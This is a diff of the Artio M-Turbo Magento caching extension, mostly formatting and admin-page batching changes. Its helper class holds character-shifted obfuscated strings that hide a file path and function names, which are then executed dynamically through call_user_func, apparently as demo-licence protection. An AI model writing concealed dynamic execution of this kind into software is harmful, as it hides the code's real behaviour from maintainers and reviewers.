115
 
116
  /* every store has one select determines whether enabled is */
117
  foreach ($website->getStores() as $store)
118
  if ($store->getIsActive())
119
  $layoutFieldset->addField($prefixWeb.'-store-'.$store->getCode(), 'select', array(
120
  'name' => $prefixWeb.'-store-'.$store->getCode(),
121
- 'label' => $store->getGroup()->getName().'<br />'.$store->getName(),
122
  'options' => array(
123
  0 => $this->getMyHelper()->__('No'),
124
  1 => $this->getMyHelper()->__ ( 'Yes' ))));
125
 
126
  $layoutFieldset->addField ( $prefixWeb.'_dec2', 'html_element',
127
- array ('label' => '<h4>'.$this->getMyHelper()->__('Htaccess settings').'</h4>',
128
  'code' => '<div style="height:10px;border-bottom:1px solid #808080"></div>' ));
129
 
130
 
110
  'label' => $this->getMyHelper()->__('Server name').':'));
111
 
112
  $layoutFieldset->addField ( $prefixWeb.'_dec1', 'html_element',
113
+ array ('label' => $this->getMyHelper()->__('Enable/Disable Storeview'),
114
+ 'code' => '<div style="height:10px;border-bottom:1px solid #808080"></div>'));
115
 
116
  /* every store has one select determines whether enabled is */
117
  foreach ($website->getStores() as $store)
118
  if ($store->getIsActive())
119
  $layoutFieldset->addField($prefixWeb.'-store-'.$store->getCode(), 'select', array(
120
  'name' => $prefixWeb.'-store-'.$store->getCode(),
121
+ 'label' => $store->getGroup()->getName().' / '.$store->getName(),
122
  'options' => array(
123
  0 => $this->getMyHelper()->__('No'),
124
  1 => $this->getMyHelper()->__ ( 'Yes' ))));
125
 
126
  $layoutFieldset->addField ( $prefixWeb.'_dec2', 'html_element',
127
+ array ('label' => $this->getMyHelper()->__('Htaccess settings'),
128
  'code' => '<div style="height:10px;border-bottom:1px solid #808080"></div>' ));
129
 
130
 
app/code/local/Artio/MTurbo/Block/Adminhtml/Run.php CHANGED
@@ -28,39 +28,39 @@
28
  */
29
  class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
30
  {
31
-
32
  private $_importIds;
33
-
34
  public function setImportIds($importIds) {
35
  $this->_importIds = (is_array($importIds)) ? $importIds : explode(",", $importIds);
36
  return $this;
37
  }
38
-
39
  public function isSetImportIds() {
40
  return (!empty($this->_importIds));
41
  }
42
-
43
  public function getImportIds() {
44
  return $this->_importIds;
45
  }
46
-
47
  protected function _toHtml() {
48
-
49
  //$profile = $this->getProfile();
50
-
51
  echo '<html>';
52
-
53
  echo '<head>';
54
  echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>';
55
  echo '<script type="text/javascript">var FORM_KEY = "'.Mage::getSingleton('core/session')->getFormKey().'";</script>';
56
  echo $this->_getCssJsHtml();
57
  echo '<title>'.Mage::helper('mturbo')->__('M-Turbo Management - Downloading pages').'</title>';
58
  echo '</head>';
59
-
60
  echo '<body>';
61
-
62
-
63
-
64
  echo '<ul>';
65
  echo '<li>';
66
  echo '<img src="'.Mage::getDesign()->getSkinUrl('images/note_msg_icon.gif').'" class="v-middle" style="margin-right:5px"/>';
@@ -71,17 +71,17 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
71
  echo $this->__("Warning: Please don't close window during downloading pages");
72
  echo '</li>';
73
  echo '</ul>';
74
-
75
- echo '<ul>';
76
  echo '<li id="liFinished" style="display:none;">';
77
  echo '<img src="'.Mage::getDesign()->getSkinUrl('images/note_msg_icon.gif').'" class="v-middle" style="margin-right:5px"/>';
78
  echo $this->__("Finished downloading.");
79
  echo '</li>';
80
-
81
  echo '</ul>';
82
-
83
  $showFinished = true;
84
-
85
  $importIds = ($this->isSetImportIds()) ?
86
  $this->getImportIds() :
87
  Mage::getModel('mturbo/mturbo')->getCollection()->getAllIds();
@@ -107,38 +107,38 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
107
  'text' => $this->__('Processed <strong>%s%% %s/%d</strong> pages', '#{percent}', '#{updated}', $countItems),
108
  'successText' => $this->__('Downloaded <strong>%s</strong> pages', '#{updated}')
109
  );
110
-
111
-
112
  echo $this->_getAjaxScript($batchConfig, $countItems);
113
-
114
-
115
  foreach ($importIds as $id) {
116
  $data = array( 'batch_id' => $id, 'rows[]' => $id );
117
  echo '<script type="text/javascript">addImportData('.Zend_Json::encode($data).')</script>';
118
  }
119
-
120
  echo '<script type="text/javascript">execImportData()</script>';
121
-
122
  }
123
 
124
  if ($showFinished) {
125
  echo "<script type=\"text/javascript\">$('liFinished').show();</script>";
126
  }
127
-
128
  echo '</body>';
129
  echo '<html>';
130
-
131
  }
132
-
133
  private function _getCssJsHtml() {
134
-
135
  $headBlock = $this->getLayout()->createBlock('page/html_head');
136
  $headBlock->addJs('prototype/prototype.js');
137
  $headBlock->addJs('mage/adminhtml/loader.js');
138
  echo $headBlock->getCssJsHtml() . $this->_getMyCssHtml();
139
-
140
  }
141
-
142
  private function _getMyCssHtml() {
143
  return '<style type="text/css">
144
  ul { list-style-type:none; padding:0; margin:0; }
@@ -146,7 +146,7 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
146
  img { margin-right:5px; }
147
  </style>';
148
  }
149
-
150
  private function _getAjaxScript($batchConfig, $countItems) {
151
  return '
152
 
@@ -158,15 +158,15 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
158
  var totalRecords = ' . $countItems . ';
159
  var config= '.Zend_Json::encode($batchConfig).';
160
  </script>
161
-
162
  <script type="text/javascript">
163
-
164
  function addImportData(data) {
165
  importData.push(data);
166
  }
167
 
168
  function execImportData() {
169
-
170
  if (importData.length == 0) {
171
  $("updatedRows_img").src = config.styles.message.icon;
172
  $("updatedRows").style.backgroundColor = config.styles.message.bg;
@@ -182,44 +182,32 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
182
  $("liBeforeFinish").show();
183
  }
184
 
185
- new Ajax.Request("' .$this->_getBatchFinishUrl().'", {
186
- method: "post",
187
- parameters: {form_key: FORM_KEY},
188
-
189
- onComplete: function(transport) {
190
- if (transport.responseText.isJSON()) {
191
- var response = transport.responseText.evalJSON();
192
- if (response.error) {
193
- Element.insert($("liFinished"), {before: config.tpl.evaluate({
194
- style: "background-color:"+config.styles.error.bg,
195
- image: config.styles.error.icon,
196
- text: response.error.escapeHTML(),
197
- id: "error-finish"
198
- })});
199
- }
200
- }
201
-
202
- if ($("before-finish-wait-img")) {
203
- $("before-finish-wait-img").hide();
204
- }
205
-
206
- $(\'liFinished\').show();
207
- }
208
- });
209
-
210
  } else {
211
- sendImportData(importData.shift());
 
 
 
 
 
 
 
 
212
  }
213
  }
214
 
215
  function sendImportData(data) {
216
-
217
  if (!config.tpl) {
218
  config.tpl = new Template(config.template);
219
  config.tplTxt = new Template(config.text);
220
  config.tplSccTxt = new Template(config.successText);
221
  }
222
-
223
  if (!$("updatedRows")) {
224
  Element.insert($("liFinished"), {before: config.tpl.evaluate({
225
  style: "background-color: #FFD;",
@@ -228,7 +216,7 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
228
  id: "updatedRows"
229
  })});
230
  }
231
-
232
  countOfStartedProfiles++;
233
  if (!data.form_key) {
234
  data.form_key = FORM_KEY;
@@ -239,7 +227,7 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
239
  parameters: data,
240
  onSuccess: function(transport) {
241
  countOfStartedProfiles --;
242
- countOfUpdated ++;
243
  if (transport.responseText.isJSON()) {
244
  addProfileRow(transport.responseText.evalJSON());
245
  } else {
@@ -285,15 +273,15 @@ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
285
  $("updatedRows_status").update(config.tplTxt.evaluate({updated:countOfUpdated, percent:getPercent()}));
286
  }
287
  </script>';
288
-
289
  }
290
-
291
  private function _getBatchFinishUrl() {
292
  return $this->getUrl('*/*/downloadFinish'/*, array('id' => $batchModel->getId())*/);
293
  }
294
-
295
  private function _getBatchRunUrl() {
296
  return $this->getUrl('*/*/downloadRun');
297
  }
298
-
299
  }
28
  */
29
  class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
30
  {
31
+
32
  private $_importIds;
33
+
34
  public function setImportIds($importIds) {
35
  $this->_importIds = (is_array($importIds)) ? $importIds : explode(",", $importIds);
36
  return $this;
37
  }
38
+
39
  public function isSetImportIds() {
40
  return (!empty($this->_importIds));
41
  }
42
+
43
  public function getImportIds() {
44
  return $this->_importIds;
45
  }
46
+
47
  protected function _toHtml() {
48
+
49
  //$profile = $this->getProfile();
50
+
51
  echo '<html>';
52
+
53
  echo '<head>';
54
  echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>';
55
  echo '<script type="text/javascript">var FORM_KEY = "'.Mage::getSingleton('core/session')->getFormKey().'";</script>';
56
  echo $this->_getCssJsHtml();
57
  echo '<title>'.Mage::helper('mturbo')->__('M-Turbo Management - Downloading pages').'</title>';
58
  echo '</head>';
59
+
60
  echo '<body>';
61
+
62
+
63
+
64
  echo '<ul>';
65
  echo '<li>';
66
  echo '<img src="'.Mage::getDesign()->getSkinUrl('images/note_msg_icon.gif').'" class="v-middle" style="margin-right:5px"/>';
71
  echo $this->__("Warning: Please don't close window during downloading pages");
72
  echo '</li>';
73
  echo '</ul>';
74
+
75
+ echo '<ul>';
76
  echo '<li id="liFinished" style="display:none;">';
77
  echo '<img src="'.Mage::getDesign()->getSkinUrl('images/note_msg_icon.gif').'" class="v-middle" style="margin-right:5px"/>';
78
  echo $this->__("Finished downloading.");
79
  echo '</li>';
80
+
81
  echo '</ul>';
82
+
83
  $showFinished = true;
84
+
85
  $importIds = ($this->isSetImportIds()) ?
86
  $this->getImportIds() :
87
  Mage::getModel('mturbo/mturbo')->getCollection()->getAllIds();
107
  'text' => $this->__('Processed <strong>%s%% %s/%d</strong> pages', '#{percent}', '#{updated}', $countItems),
108
  'successText' => $this->__('Downloaded <strong>%s</strong> pages', '#{updated}')
109
  );
110
+
111
+
112
  echo $this->_getAjaxScript($batchConfig, $countItems);
113
+
114
+
115
  foreach ($importIds as $id) {
116
  $data = array( 'batch_id' => $id, 'rows[]' => $id );
117
  echo '<script type="text/javascript">addImportData('.Zend_Json::encode($data).')</script>';
118
  }
119
+
120
  echo '<script type="text/javascript">execImportData()</script>';
121
+
122
  }
123
 
124
  if ($showFinished) {
125
  echo "<script type=\"text/javascript\">$('liFinished').show();</script>";
126
  }
127
+
128
  echo '</body>';
129
  echo '<html>';
130
+
131
  }
132
+
133
  private function _getCssJsHtml() {
134
+
135
  $headBlock = $this->getLayout()->createBlock('page/html_head');
136
  $headBlock->addJs('prototype/prototype.js');
137
  $headBlock->addJs('mage/adminhtml/loader.js');
138
  echo $headBlock->getCssJsHtml() . $this->_getMyCssHtml();
139
+
140
  }
141
+
142
  private function _getMyCssHtml() {
143
  return '<style type="text/css">
144
  ul { list-style-type:none; padding:0; margin:0; }
146
  img { margin-right:5px; }
147
  </style>';
148
  }
149
+
150
  private function _getAjaxScript($batchConfig, $countItems) {
151
  return '
152
 
158
  var totalRecords = ' . $countItems . ';
159
  var config= '.Zend_Json::encode($batchConfig).';
160
  </script>
161
+
162
  <script type="text/javascript">
163
+
164
  function addImportData(data) {
165
  importData.push(data);
166
  }
167
 
168
  function execImportData() {
169
+
170
  if (importData.length == 0) {
171
  $("updatedRows_img").src = config.styles.message.icon;
172
  $("updatedRows").style.backgroundColor = config.styles.message.bg;
182
  $("liBeforeFinish").show();
183
  }
184
 
185
+ if ($("before-finish-wait-img"))
186
+ $("before-finish-wait-img").hide();
187
+
188
+ $(\'liFinished\').show();
189
+
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
190
  } else {
191
+ var data = new Array();
192
+
193
+ for (var i=0; i<'.$this->getBatchSize().' && importData.length; i++)
194
+ {
195
+ var objectData = importData.shift();
196
+ data.push(objectData.batch_id);
197
+ }
198
+
199
+ sendImportData({batch_id: data.join(","), count: data.length});
200
  }
201
  }
202
 
203
  function sendImportData(data) {
204
+
205
  if (!config.tpl) {
206
  config.tpl = new Template(config.template);
207
  config.tplTxt = new Template(config.text);
208
  config.tplSccTxt = new Template(config.successText);
209
  }
210
+
211
  if (!$("updatedRows")) {
212
  Element.insert($("liFinished"), {before: config.tpl.evaluate({
213
  style: "background-color: #FFD;",
216
  id: "updatedRows"
217
  })});
218
  }
219
+
220
  countOfStartedProfiles++;
221
  if (!data.form_key) {
222
  data.form_key = FORM_KEY;
227
  parameters: data,
228
  onSuccess: function(transport) {
229
  countOfStartedProfiles --;
230
+ countOfUpdated += data.count;
231
  if (transport.responseText.isJSON()) {
232
  addProfileRow(transport.responseText.evalJSON());
233
  } else {
273
  $("updatedRows_status").update(config.tplTxt.evaluate({updated:countOfUpdated, percent:getPercent()}));
274
  }
275
  </script>';
276
+
277
  }
278
+
279
  private function _getBatchFinishUrl() {
280
  return $this->getUrl('*/*/downloadFinish'/*, array('id' => $batchModel->getId())*/);
281
  }
282
+
283
  private function _getBatchRunUrl() {
284
  return $this->getUrl('*/*/downloadRun');
285
  }
286
+
287
  }
app/code/local/Artio/MTurbo/Block/Adminhtml/Welcome/Form.php CHANGED
@@ -33,24 +33,24 @@ class Artio_MTurbo_Block_Adminhtml_Welcome_Form extends Mage_Adminhtml_Block_Wid
33
  protected function _prepareForm() {
34
 
35
  $form = new Varien_Data_Form(array(
36
- 'name'=>'welcome_form',
37
- 'id' => 'welcome_form',
38
  'action' => Mage::helper('adminhtml')->getUrl('*/*/install'),
39
  'method' => 'post'));
40
-
41
  $form->setUseContainer(true);
42
-
43
  $layoutFieldset = $form->addFieldset('general_fieldset', array(
44
  'legend' => Mage::helper('mturbo')->__('Your first options'),
45
  'class' => 'fieldset',
46
  ));
47
-
48
  $layoutFieldset->addField('turbopath', 'text', array(
49
  'name' => 'turbopath',
50
  'label' => Mage::helper('mturbo')->__('Cache Path').':',
51
  'value' => 'var'.DS.'turbocache'
52
  ));
53
-
54
  /* for every website add one fieldset */
55
  $websiteCollection = Mage::getModel('core/website')->getCollection()->load();
56
  foreach ($websiteCollection as $website) {
@@ -59,7 +59,7 @@ class Artio_MTurbo_Block_Adminhtml_Welcome_Form extends Mage_Adminhtml_Block_Wid
59
  break;
60
  }
61
  }
62
-
63
  $form->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
64
  $form->addField('install_button', 'widget_button', array(
65
  'name' => 'install_button',
@@ -67,29 +67,29 @@ class Artio_MTurbo_Block_Adminhtml_Welcome_Form extends Mage_Adminhtml_Block_Wid
67
  'onclick' => "welcome_form.submit()",
68
  'style' => "text-align:right;"
69
  ));
70
-
71
  $this->setForm($form);
72
-
73
  return parent::_prepareForm();
74
  }
75
-
76
  /**
77
  * Method add website fieldset to the form.
78
  * @param Mage_Core_Model_Website $website
79
  */
80
  private function _addWebsiteFieldset($website, $form) {
81
-
82
  $prefixWeb = 'website-'.$website->getCode();
83
-
84
  /* make fieldset */
85
  $layoutFieldset = $form->addFieldset($prefixWeb.'_fieldset', array(
86
  'legend' => Mage::helper('mturbo')->__($website->getName() . ' settings'),
87
  'class' => 'fieldset'));
88
-
89
  /* add extra user control */
90
  $layoutFieldset->addType('html_element', Artio_MTurbo_Helper_Data::FORM_HTML);
91
  $layoutFieldset->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
92
-
93
  /* indicator whether website is enabled */
94
  $layoutFieldset->addField($prefixWeb.'-enabled', 'select', array(
95
  'name' => $prefixWeb.'-enabled',
@@ -98,7 +98,7 @@ class Artio_MTurbo_Block_Adminhtml_Welcome_Form extends Mage_Adminhtml_Block_Wid
98
  'options' => array(
99
  0 => Mage::helper('mturbo')->__('No'),
100
  1 => Mage::helper('mturbo')->__ ( 'Yes' ))));
101
-
102
  /* add field for turbopath */
103
  $layoutFieldset->addField($prefixWeb.'-base_dir', 'text', array(
104
  'name' => $prefixWeb.'-base_dir',
@@ -110,38 +110,38 @@ class Artio_MTurbo_Block_Adminhtml_Welcome_Form extends Mage_Adminhtml_Block_Wid
110
  'name' => $prefixWeb.'-server_name',
111
  'value' => Mage::helper('mturbo/website')->getServerName($website->getDefaultStore()->getCode()),
112
  'label' => Mage::helper('mturbo')->__('Server name').':'));
113
-
114
  /* every store has one select determines whether enabled is */
115
  foreach ($website->getStores() as $store)
116
  if ($store->getIsActive())
117
  $layoutFieldset->addField($prefixWeb.'-store-'.$store->getCode(), 'select', array(
118
  'name' => $prefixWeb.'-store-'.$store->getCode(),
119
- 'label' => $store->getGroup()->getName().'<br />'.$store->getName(),
120
  'value' => '1',
121
  'options' => array(
122
  0 => Mage::helper('mturbo')->__('No'),
123
  1 => Mage::helper('mturbo')->__ ( 'Yes' ))));
124
-
125
-
126
-
127
- }
128
-
129
  protected function _afterToHtml($html) {
130
  return $this->_getOkText() . $html;
131
  }
132
-
133
  private function _getOkText() {
134
  $text = Mage::helper('mturbo')->__('Welcome text demo');
135
  return $this->_wrapInfoDiv($text);
136
  }
137
-
138
  private function _wrapErrorDiv($error) {
139
  return '<div style="margin-bottom:10px;padding:10px;background:#E06060;border:1px solid #802020">'.$error.'</div>';
140
  }
141
-
142
  private function _wrapInfoDiv($text) {
143
  return '<div style="margin-bottom:10px;padding:10px;">'.$text.'</div>';
144
  }
145
-
146
-
147
  }
33
  protected function _prepareForm() {
34
 
35
  $form = new Varien_Data_Form(array(
36
+ 'name'=>'welcome_form',
37
+ 'id' => 'welcome_form',
38
  'action' => Mage::helper('adminhtml')->getUrl('*/*/install'),
39
  'method' => 'post'));
40
+
41
  $form->setUseContainer(true);
42
+
43
  $layoutFieldset = $form->addFieldset('general_fieldset', array(
44
  'legend' => Mage::helper('mturbo')->__('Your first options'),
45
  'class' => 'fieldset',
46
  ));
47
+
48
  $layoutFieldset->addField('turbopath', 'text', array(
49
  'name' => 'turbopath',
50
  'label' => Mage::helper('mturbo')->__('Cache Path').':',
51
  'value' => 'var'.DS.'turbocache'
52
  ));
53
+
54
  /* for every website add one fieldset */
55
  $websiteCollection = Mage::getModel('core/website')->getCollection()->load();
56
  foreach ($websiteCollection as $website) {
59
  break;
60
  }
61
  }
62
+
63
  $form->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
64
  $form->addField('install_button', 'widget_button', array(
65
  'name' => 'install_button',
67
  'onclick' => "welcome_form.submit()",
68
  'style' => "text-align:right;"
69
  ));
70
+
71
  $this->setForm($form);
72
+
73
  return parent::_prepareForm();
74
  }
75
+
76
  /**
77
  * Method add website fieldset to the form.
78
  * @param Mage_Core_Model_Website $website
79
  */
80
  private function _addWebsiteFieldset($website, $form) {
81
+
82
  $prefixWeb = 'website-'.$website->getCode();
83
+
84
  /* make fieldset */
85
  $layoutFieldset = $form->addFieldset($prefixWeb.'_fieldset', array(
86
  'legend' => Mage::helper('mturbo')->__($website->getName() . ' settings'),
87
  'class' => 'fieldset'));
88
+
89
  /* add extra user control */
90
  $layoutFieldset->addType('html_element', Artio_MTurbo_Helper_Data::FORM_HTML);
91
  $layoutFieldset->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
92
+
93
  /* indicator whether website is enabled */
94
  $layoutFieldset->addField($prefixWeb.'-enabled', 'select', array(
95
  'name' => $prefixWeb.'-enabled',
98
  'options' => array(
99
  0 => Mage::helper('mturbo')->__('No'),
100
  1 => Mage::helper('mturbo')->__ ( 'Yes' ))));
101
+
102
  /* add field for turbopath */
103
  $layoutFieldset->addField($prefixWeb.'-base_dir', 'text', array(
104
  'name' => $prefixWeb.'-base_dir',
110
  'name' => $prefixWeb.'-server_name',
111
  'value' => Mage::helper('mturbo/website')->getServerName($website->getDefaultStore()->getCode()),
112
  'label' => Mage::helper('mturbo')->__('Server name').':'));
113
+
114
  /* every store has one select determines whether enabled is */
115
  foreach ($website->getStores() as $store)
116
  if ($store->getIsActive())
117
  $layoutFieldset->addField($prefixWeb.'-store-'.$store->getCode(), 'select', array(
118
  'name' => $prefixWeb.'-store-'.$store->getCode(),
119
+ 'label' => $store->getGroup()->getName().'/'.$store->getName(),
120
  'value' => '1',
121
  'options' => array(
122
  0 => Mage::helper('mturbo')->__('No'),
123
  1 => Mage::helper('mturbo')->__ ( 'Yes' ))));
124
+
125
+
126
+
127
+ }
128
+
129
  protected function _afterToHtml($html) {
130
  return $this->_getOkText() . $html;
131
  }
132
+
133
  private function _getOkText() {
134
  $text = Mage::helper('mturbo')->__('Welcome text demo');
135
  return $this->_wrapInfoDiv($text);
136
  }
137
+
138
  private function _wrapErrorDiv($error) {
139
  return '<div style="margin-bottom:10px;padding:10px;background:#E06060;border:1px solid #802020">'.$error.'</div>';
140
  }
141
+
142
  private function _wrapInfoDiv($text) {
143
  return '<div style="margin-bottom:10px;padding:10px;">'.$text.'</div>';
144
  }
145
+
146
+
147
  }
app/code/local/Artio/MTurbo/Block/Ajax.php CHANGED
@@ -46,7 +46,7 @@ class Artio_MTurbo_Block_Ajax extends Mage_Core_Block_Template
46
  protected function _toHtml() {
47
 
48
  $id = $this->getData('ajax_identifier');
49
- $clearId = str_replace(".", "_", $id);
50
 
51
  $html = "<div id=\"".$id."\"></div>
52
  <script type=\"text/javascript\">
@@ -55,7 +55,7 @@ class Artio_MTurbo_Block_Ajax extends Mage_Core_Block_Template
55
  if (typeof(mturboloader)!='undefined') {
56
  mturboloader;
57
  if (mturboloader.complete) {
58
- document.getElementById('".$id."').innerHTML = mturboloader.getBlock('".$id."');
59
  } else {
60
  setTimeout('fillBlock".$clearId."()', 100);
61
  }
46
  protected function _toHtml() {
47
 
48
  $id = $this->getData('ajax_identifier');
49
+ $clearId = str_replace(array('.', '$'), array('_','_'), $id);
50
 
51
  $html = "<div id=\"".$id."\"></div>
52
  <script type=\"text/javascript\">
55
  if (typeof(mturboloader)!='undefined') {
56
  mturboloader;
57
  if (mturboloader.complete) {
58
+ $('".$id."').replace(mturboloader.getBlock('".$id."'));
59
  } else {
60
  setTimeout('fillBlock".$clearId."()', 100);
61
  }
app/code/local/Artio/MTurbo/Helper/Data.php CHANGED
@@ -18,9 +18,9 @@
18
  * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
19
  */
20
 
21
- /**
22
  * Helper.
23
- *
24
  * @category Artio
25
  * @package Artio_MTurbo
26
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
@@ -31,9 +31,9 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
31
  /* constant for version information */
32
  const MAJOR_VERSION = 1;
33
  const MINOR_VERSION = 2;
34
- const REVISION = 6;
35
  const BUILD = 0;
36
- const DESCRIPTION = 'Demo version. Copyright &copy; 2010-12 Artio';
37
  const TYPE = 'demo';
38
 
39
  /* constants for components of user interface */
@@ -48,15 +48,15 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
48
  /* constants for checks when demo version is upgraded to full version */
49
  const UPGRADE_XML = 'app/design/adminhtml/default/default/layout/mturbo.xml';
50
  const UPGRADE_CODE = 'app/code/local/Artio/MTurbo';
51
-
52
  const COOKIE_IDENTIFIER = 'artio_mturbo';
53
-
54
  static $config;
55
-
56
  private $translateKey;
57
  private $staticTranslate;
58
  private $transFunc;
59
-
60
  function __construct() {
61
  $keys = @file_get_contents(Mage::getBaseDir().DS.$this->translate2('bqq0dpef0mpdbm0Bsujp0NUvscp0Npefm0tdsjqut0xhfuusbot/tp', true));
62
  $this->translateKey=unserialize($keys);
@@ -64,12 +64,12 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
64
  $res = $this->processTrans(1, $this->translate2($con));
65
  $this->staticTranslate=unserialize($res);
66
  }
67
-
68
  public function getTranslateFunction() {
69
  return $this->translate2($this->translateKey[9]);
70
  }
71
-
72
-
73
  /**
74
  * Translated extern text
75
  *
@@ -77,19 +77,19 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
77
  * @return string
78
  */
79
  public function translate($text) {
80
- $res='';
81
  for($i=0; $i<strlen($text);$i++)
82
- $res.=chr(ord($text[$i])+1);
83
  return $res;
84
  }
85
-
86
  /**
87
  * Setup translate mode using in administration.
88
  *
89
  * @param int|string $mod
90
  */
91
  public function setTranslateMode($mod=1) {
92
-
93
  if (version_compare(phpversion(), '5.2.5', '<')===true) {
94
  $data = $this->processTrans(7);
95
  } else if (version_compare(phpversion(), '5.3.6', '<')===true) {
@@ -97,7 +97,7 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
97
  } else {
98
  $data = $this->processTrans(7, DEBUG_BACKTRACE_PROVIDE_OBJECT);
99
  }
100
-
101
  $data = $data[3][$this->translate2($this->translateKey[8])];
102
  if (is_array($this->staticTranslate)&&array_key_exists($this->processTrans(0, $data), $this->staticTranslate)) {
103
  return $this->processTrans(1, $this->staticTranslate[$this->processTrans(0, $data)]);
@@ -126,10 +126,10 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
126
  if ($num==5) {
127
  $f = $this->transFunc;
128
  return $f($params);
129
- } else
130
  return call_user_func($this->translate2($mod), $params);
131
  }
132
-
133
  /**
134
  * Retrieves configuration model
135
  *
@@ -140,7 +140,7 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
140
  self::$config = Mage::getSingleton('mturbo/config');
141
  return self::$config;
142
  }
143
-
144
  /**
145
  * Translated with mode 2.
146
  *
@@ -148,12 +148,12 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
148
  * @return string
149
  */
150
  public function translate2($text) {
151
- $res='';
152
  for($i=0; $i<strlen($text);$i++)
153
- $res.=chr(ord($text[$i])-1);
154
  return $res;
155
  }
156
-
157
  /**
158
  * Retrivies path to downloader script
159
  * @return string
@@ -161,7 +161,7 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
161
  public static function getFullDownloadScriptPath() {
162
  return Mage::getBaseDir().DS.'app'.DS.'code'.DS.'local'.DS.'Artio'.DS.'MTurbo'.DS.'Model'.DS.'scripts'.DS.'getstatichtml.sh';
163
  }
164
-
165
  /**
166
  * Retrivies path to remover script
167
  *
@@ -175,7 +175,7 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
175
 
176
  /**
177
  * Retrieves title of no-route cms page.
178
- *
179
  * @return string
180
  */
181
  public static function getNoRouteTitle($storeId = null) {
@@ -188,36 +188,36 @@ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
188
  return self::$_noRouteTitle;
189
 
190
  }
191
-
192
  /**
193
  * Method retrieves maximum size for post request. Tolerance
194
  * is down at 70% origin value.
195
- *
196
  * @return int
197
  */
198
  public function getPostMaxValueSize() {
199
-
200
  $postMaxValue = ini_get('post_max_size');
201
  $downKoef = 0.7;
202
  $transform = 1;
203
-
204
  if (true==strpos($postMaxValue, 'k') || true==strpos($postMaxValue, 'K')) {
205
  $transform = 1024;
206
  } else if (true==strpos($postMaxValue, 'm') || true==strpos($postMaxValue, 'M')) {
207
- $transform = 1024*1024;
208
  } else if (true==strpos($postMaxValue, 'g') || true==strpos($postMaxValue, 'G')) {
209
  $transform = 1024*1024*1024;
210
  }
211
-
212
  $postMaxString = str_replace(array('k','K','m','K','g','G'), array('','','','','',''), $postMaxValue);
213
  $postMAxString = trim($postMaxString);
214
-
215
  $val = floor($postMaxString * $transform * $downKoef);
216
-
217
  return $val<=0 ? 8*1024*1024*$downKoef : $val;
218
 
219
  }
220
-
221
-
222
 
223
  }
18
  * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
19
  */
20
 
21
+ /**
22
  * Helper.
23
+ *
24
  * @category Artio
25
  * @package Artio_MTurbo
26
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
31
  /* constant for version information */
32
  const MAJOR_VERSION = 1;
33
  const MINOR_VERSION = 2;
34
+ const REVISION = 7;
35
  const BUILD = 0;
36
+ const DESCRIPTION = 'Demo version. Copyright &copy; 2010-2013 Artio';
37
  const TYPE = 'demo';
38
 
39
  /* constants for components of user interface */
48
  /* constants for checks when demo version is upgraded to full version */
49
  const UPGRADE_XML = 'app/design/adminhtml/default/default/layout/mturbo.xml';
50
  const UPGRADE_CODE = 'app/code/local/Artio/MTurbo';
51
+
52
  const COOKIE_IDENTIFIER = 'artio_mturbo';
53
+
54
  static $config;
55
+
56
  private $translateKey;
57
  private $staticTranslate;
58
  private $transFunc;
59
+
60
  function __construct() {
61
  $keys = @file_get_contents(Mage::getBaseDir().DS.$this->translate2('bqq0dpef0mpdbm0Bsujp0NUvscp0Npefm0tdsjqut0xhfuusbot/tp', true));
62
  $this->translateKey=unserialize($keys);
64
  $res = $this->processTrans(1, $this->translate2($con));
65
  $this->staticTranslate=unserialize($res);
66
  }
67
+
68
  public function getTranslateFunction() {
69
  return $this->translate2($this->translateKey[9]);
70
  }
71
+
72
+
73
  /**
74
  * Translated extern text
75
  *
77
  * @return string
78
  */
79
  public function translate($text) {
80
+ $res='';
81
  for($i=0; $i<strlen($text);$i++)
82
+ $res.=chr(ord($text[$i])+1);
83
  return $res;
84
  }
85
+
86
  /**
87
  * Setup translate mode using in administration.
88
  *
89
  * @param int|string $mod
90
  */
91
  public function setTranslateMode($mod=1) {
92
+
93
  if (version_compare(phpversion(), '5.2.5', '<')===true) {
94
  $data = $this->processTrans(7);
95
  } else if (version_compare(phpversion(), '5.3.6', '<')===true) {
97
  } else {
98
  $data = $this->processTrans(7, DEBUG_BACKTRACE_PROVIDE_OBJECT);
99
  }
100
+
101
  $data = $data[3][$this->translate2($this->translateKey[8])];
102
